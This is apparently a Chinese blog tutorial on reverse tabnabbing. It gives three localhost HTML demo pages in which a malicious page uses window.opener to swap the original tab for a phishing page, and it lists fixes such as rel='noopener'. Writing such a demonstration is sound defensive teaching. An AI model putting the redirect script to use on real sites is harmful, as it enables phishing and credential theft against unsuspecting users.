Reverse Tabnabbing钓鱼

Reverse Tabnabbing钓鱼


  • 希望你以后能过得好,别辜负我一生不打扰

原理:

使用正常网站A的a标签设置为恶意网站B,恶意网站B中利用window.opener修改原先页面A页面,进而无征兆把访问正常网站A页面修改为钓鱼网站C页面。
两个可以利用点:
1、使用a标签,并且target=_blank,没有使用rel="noopener/noreferrer"属性
2、使用window.open

利用:

创建三个页面A\B\C

A
<html>
<title>正常网站</title>
 <body>
  <li><a href="http://localhost/b.html" target="_blank" >a标签</a></li>
  <button onclick="window.open('http://localhost/b.html')">window.open</button>
 </body>
</html>
B
<html>
<title>恶意网站</title>
 <body>
  <script>
   if (window.opener) {
      window.opener.location = "http://localhost/c.html";
   }else{alert("no vul");}
  </script>
 </body>
</html>
C
<html>
<head>
    <title>钓鱼网站</title>
</head>
<body>
<li><a href="http://localhost/b.html" target="_blank" >钓鱼a标签</a></li>
  <button onclick="window.open('http://localhost/b.html')">钓鱼window.open</button>
</body>
</html>

当你点击正常页面A时候,发现跳转到恶意网站B,并且正常网站A变成了钓鱼页面C.
在这里插入图片描述
在这里插入图片描述
当你加入rel=“noopener”,B会提示没有漏洞,并且A就不会跳到钓鱼页面C
在这里插入图片描述

修复:

·1、a标签中添加rel=”noopener”
2、设置opener
var otherWindow = window.open();
otherWindow.opener = null;
otherWindow.location = url;

**余生很长,请多指教。**

在这里插入图片描述


版权声明:本文为csacs原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。